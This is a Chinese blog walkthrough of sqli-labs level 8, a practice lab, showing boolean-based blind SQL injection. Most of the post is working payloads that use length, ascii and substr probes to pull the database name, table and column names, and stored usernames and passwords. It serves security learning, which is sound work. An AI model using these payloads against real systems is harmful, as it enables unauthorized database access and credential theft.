我是靠谱客的博主 冷傲路人,最近开发中收集的这篇文章主要介绍sqli-labs第八关-布尔注入布尔注入一、第八关总结,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

文章目录

  • 布尔注入
  • 一、第八关
    • 爆数据库名
      • 判断长度
      • 爆破数据库名
    • 爆表名
      • 判断表的长度
      • 判断第一个表的长度
      • 判断表的字符
    • 爆字段
      • 获取字段列数
      • 获取字段列名
    • 获取表中的数据
      • 获取条数
      • 判断数据长度
      • 判断长度
      • 判断数据
  • 总结


布尔注入

  • 如果页面既没有显示位,也没有报错提示的话,可以使用布尔注入.
  • 通过插入一些语句查看结果来判断是否存在布尔注入.
  • 布尔注入的几个常用函数

函数使用:

  • length(select database())>5 #length()里可以放查询语句,用来判断查询结果的长度
  • exists( ) #exists()里可以放查询语句,用来判断查询结果是否存在
  • ascii( ) #ascii()里可以放查询语句,用来把查询结果转换为ascii的值
  • substr( string,pos,length)
    #用来截取查询结果,string可以用查询语句代替,pos表示截取位置–下标从1开始,length表示截取的长度;

一、第八关

在这里插入图片描述

判断注入点
在这里插入图片描述
在这里插入图片描述
可以发现这里不存在整型注入
在这里插入图片描述
没有显示位,可判断为字符型注入

爆数据库名

判断长度

?id=1' and length(database())>1 --+

依次往上加数字的值直到无显示位在这里插入图片描述
可以看到数据库的长度为8

爆破数据库名

?id=1' and ascii(substr((database()),1,1)) =115 --+

在这里插入图片描述
可以看到当ascll值为115时回显说明第一个字符为‘s’剩下的字符依次进行解密,当然这样比较麻烦.
第二位:?id=1' and ascii(substr((database()),2,1)) >80 --+
类似这样只需修改数值依次解出:database=security
大致可以猜测到数据库名:security

爆表名

判断表的长度

?id=1'   and (select count(table_name) from information_schema.tables where table_schema=database())>3  --+   (结果为4)

在这里插入图片描述
在这里插入图片描述
表的数量为4

判断第一个表的长度

?id=1'   and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+(结果为6)

在这里插入图片描述

判断表的字符

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >79 --+

在这里插入图片描述
说明表中第一个字符的ASCII值大于79

?id=1'   and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+

在这里插入图片描述
第一个值为:e,看一下解释如何往下进行在这里插入图片描述
再第一张表中我们只需要修改红字部分进行注入

在这里插入图片描述
第二个字符为m:?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109--+在这里插入图片描述
就这样依次进行得到表名:emails/users

爆字段

获取字段列数

?id=1'   and  (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3 --+

在这里插入图片描述
在这里插入图片描述
可见列数为:3

获取字段列名

?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105 --+

在这里插入图片描述
第一列第一个字符为:i
继续第二个:d
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),2,1))=100 --+在这里插入图片描述
依次求第二列:
第一个字符:u
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 1,1),1,1))=117 --+
在这里插入图片描述
在这里插入图片描述
换列则需要改变第一个红标处,列中数据改变则需要改变第二个红标处
可以得到:
第二列名:username
第三列名:password

获取表中的数据

获取条数

?id=1' and  (select count(*) from users)=13 --+

在这里插入图片描述
可见为13条。

判断数据长度

?id=1'   and  length((select id from users limit 0,1))=1 --+

在这里插入图片描述
获取数据

select id from users limit 0,1;

在这里插入图片描述
获取username中数据
在这里插入图片描述
获取password中数据
在这里插入图片描述
可见账号为Dumb 密码为Dumb

判断长度

?id=1'   and  length((select username from users limit 0,1))=4 --+

可见username的长度为4
在这里插入图片描述

判断数据

?id=1'   and ascii(substr((select username from users limit 0,1),1,1))=68 --+

在这里插入图片描述
可见username中第一个字符为:D
然后就这样依次进行得到username:Dumb,password:Dumb

总结

其实这样下来程序是十分繁杂的,接下来将会使用burp工具来爆破进行获取信息。

最后

以上就是冷傲路人为你收集整理的sqli-labs第八关-布尔注入布尔注入一、第八关总结的全部内容,希望文章能够帮你解决sqli-labs第八关-布尔注入布尔注入一、第八关总结所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(34)

评论列表共有 0 条评论

立即
投稿
返回
顶部